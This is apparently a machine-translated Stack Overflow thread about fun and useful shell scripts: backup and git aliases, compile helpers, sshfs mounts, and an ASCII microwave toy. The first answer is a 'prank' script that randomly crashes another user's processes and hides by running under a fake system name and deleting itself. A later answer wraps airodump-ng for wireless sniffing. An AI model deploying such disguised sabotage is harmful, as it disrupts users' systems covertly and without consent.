什么是有趣的shell脚本?

时间:2010-11-03 02:37:13

标签: bash shell powershell

我喜欢能够使用shell脚本自动化我的计算机的想法,但我无法实际做到这一点。

您是否在服务器,个人电脑,上网本等上使用过或以新颖的方式看过shell脚本?

我想到的一些例子:

  • 优化电池续航时间关闭 服务,修改亮度, 关闭可能遗留的计划 打开但是不必要等等
  • 创建工作区配置文件:打开一组应用程序并执行 学校,工作等的行动。
  • 在其他人的计算机上恶作剧:你觉得有趣的一些...... :)

真的很想知道你可能要分享的内容,谢谢!

10 个答案:

答案 0 :(得分:11)

这是一个有趣的恶作剧

#!/bin/bash
user=$1
while true ; do
    kill -SEGV $(ps -u $user -o pid= | random | tail -n 1)
    sleep $RANDOM
done

每隔几分钟,$ user拥有的程序就会出现段错误。如果以root身份运行并且给出一个无辜的名称,那么最好,但是以$ user运行它也可以。将脚本保存为例如“xterm”或“kded”或“gnome-session”,chmod a + x脚本,然后像这样调用它:

$scriptname $username 2>/dev/null 1>&2 & disown $scriptname ; rm $scriptname

这将教会你的朋友不要让他们的系统解锁。此实现使用bsdgames中的随机,但您可以采用另一种方式进行选择。

答案 1 :(得分:4)

保持我所有的Git存储库都是最新的:

alias gitupdate='(for l in `find . -name .git | xargs -i dirname {}` ; do cd $l; pwd; git pull; cd -; done)'

将我的电脑备份到远程空间:

alias backup='rsync -av ~/Documents user@domain.com: --delete --delete-excluded --exclude-from=/Users/myusername/.rsync/exclude --rsh="ssh"'

答案 2 :(得分:3)

我有一些我经常使用/经常使用的。

一个脚本有两个参数 - .cpp文件和输出文件。然后它会编译文件并启动代码 - 对于在学校编写C ++代码非常有用。我还为汇编程序写了一个可以编译,链接和加载的文件。

我有其他人控制屏幕亮度,启动具有特定设置的各种程序(主要是cd到目录)...我认为我经常使用的那个是我创建文本的new.c++脚本我的名字,班级信息,#include等文件,并启动vim编辑文件。这非常有用。

没什么可傻的,只是一些好的,有用的东西

答案 3 :(得分:2)

我认为shell脚本是快捷方式。它们是你经常做的事情,每次都必须输入命令是浪费时间。即使是短小的脚本,如果你不得不多次调用它们,那么这些脚本会阻止你记住长参数列表。

例如,我经常需要通过airodump-ng进行无源监听模式无线嗅探。为此,我迅速将它们放在一起:

#!/bin/bash

# Make sure we're running as root
if [[ $EUID -ne 0 ]]
then
    echo "This script must be run as root" 1>&2
    exit 1
fi

# Make sure there is an argument 1
if [[ $# -ne 1 ]]
then
    echo "Usage: `basename $0` <fileprefix>"
    exit 65
fi

# Set up the monitor interface
airmon-ng start wlan0

# Start Sniffing with the prefix $1
airodump-ng -w $1 -t OPN --output-format pcap mon0

# Tear down the monitor interface
airmon-ng stop mon0 

虽然应该注意的是,随着shell脚本的复杂性增加,您应该开始考虑用更健壮的语言重写它。这应该在那个简单的shell脚本成为一个任务关键怪物之前完成,这个怪物无法管理并且充满了bug,但一切都依赖于它。

答案 4 :(得分:1)

是。我一直使用和创建脚本来自动执行各种工作任务。一个示例调用:

some_project_test_suite

这是一个脚本,cd进入我存储some_project的文件夹,然后在该文件夹中运行一系列不同的测试,一遍又一遍地在命令行上输入会很痛苦。

这样的脚本可能非常简单,如下所示:

#! /bin/bash
cd path/to/folder/containing/some_project
path/to/build/system/binary test_target1 \
                            test_target2 \
                            ...
                            test_targetN

那就是说,我不确定我会把这本小说完全称为。自动化应该是相当常规的。

答案 5 :(得分:1)

如果您使用的是使用dbus的桌面(例如gnome),那么本文可能会让您感兴趣。

http://www.linuxjournal.com/article/7744

一些示例用于电源管理。我使用dbus脚本自动使用随机引号更新我的pidgin状态消息。我敢肯定你可以用dbus和cron进行大量的恶作剧。

答案 6 :(得分:1)

在某些程序中测试多个值/事物也很方便。如果你在学校并且有类似的事情,我至少要做^ _ ^

答案 7 :(得分:1)

您可以将可能的用例与zenity之类的工具相乘,这些工具可以将小部件原语提供给shell脚本。

有了这个帮助,我为我们的笔记本电脑制作了一个管理脚本,允许控制我们的台式电脑:

  • 局域网唤醒(如果它似乎离线)
  • 通过SSHFS安装我的主目录
  • 开始备份
  • ...

并且好的副作用是,由于zenity我的其他家庭成员也可以使用该脚本。

答案 8 :(得分:1)

在我的上网本上,我写了一些bash脚本,该脚本在启动时调用,并在计算机启动后定期调用。如果互联网连接可用,它将挂载我的远程文件系统。这包括检查我的网络接口并使用一个名为sshfs的优秀软件安装远程文件系统。这真的很好 - 如果我的上网本嘶哑,我的远程RAID数据仍然很漂亮。

答案 9 :(得分:1)

我做了一对。这是你终端的假微波炉:

#!/bin/bash

clear
echo "What would you like to microwave?"
echo " "
echo "1) Pizza 2) Ramen 3) Hot Dog"
echo "4) S'mores       5) Tin Foil"
echo " "
read -p ">> " ans
case $ans in
  1)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| <] ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| <] ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| <] ||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  2)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "||[~~]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "||[~~]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "||[~~]||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  3)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| [|]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| [|]||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| [|]||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  4)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..10}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "|| == ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   for run in {9..0}
   do
    clear
    echo " _________"
    echo "|.----.|0"$tmr"|"
    echo "|| == ||++|"
    echo "|'----'|__|"
    beep -f 50 -l 1000
    ((tmr--))
   done
   clear
   echo " _________"
   echo "|.----.|00|"
   echo "|| == ||++|"
   echo "|'----'|__|"
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   beep -f 1000 -l 500
   sleep 1
   exit
   ;&

  5)
   clear
   echo " _________"
   echo "|.----.|__|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   sleep 2
   clear
   echo " _________"
   echo "|.----.|3_|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 0.2
   clear
   echo " _________"
   echo "|.----.|30|"
   echo "||<^><||++|"
   echo "|'----'|__|"
   beep -f 200 -d 0 -l 5 -r 10
   sleep 1
   tmr=30
   for run in {30..25}
   do
    clear
    echo " _________"
    echo "|.----.|"$tmr"|"
    echo "||<^><||++|"
    echo "|'----'|__|"
    beep -f 50 -l 5 -d 0 -r 100
    ((tmr--))
   done
   clear
   echo "    .   _"
   echo "   23vxxas"
   echo " >553eSD34|"
   echo "|XFDADSff3|"
   echo ""
   echo "Oh no! You blew up the microwave!"
   freq=1000
   for run in {1000..200}
   do
    beep -f $freq -l 1
    ((freq--))
   done
   exit
   ;&
esac

和&#34;硬币鳍状肢&#34;。

#!/bin/bash

clear
echo "Flipping a coin..."
echo ""
echo "         _"
sleep 0.2
clear
echo "Flipping a coin..."
echo "         _"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         \\"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         /"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo "         -"
echo ""
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo "         \\"
sleep 0.2
clear
echo "Flipping a coin..."
echo ""
echo "         _"
sleep 2
clear
echo "The coin says..."
BINR=$(( ( RANDOM % 2 )  + 0 ))
if [ $BINR == 1 ]
then
AYS="HEADS"
fi
if [ $BINR == 0 ]
then
AYS="TAILS"
fi
sleep 2
echo "     _____ "
echo "    /"$AYS"\\"
echo "    \\_____/"
echo "    \\|||||/"
beep -f $((( RANDOM % 1000 )+ 300)) -d 0 -l 500

这两个都需要你安装&#34;哔哔&#34;。 如果您的发行版支持它,请使用apt-get install beepapt install beep安装它。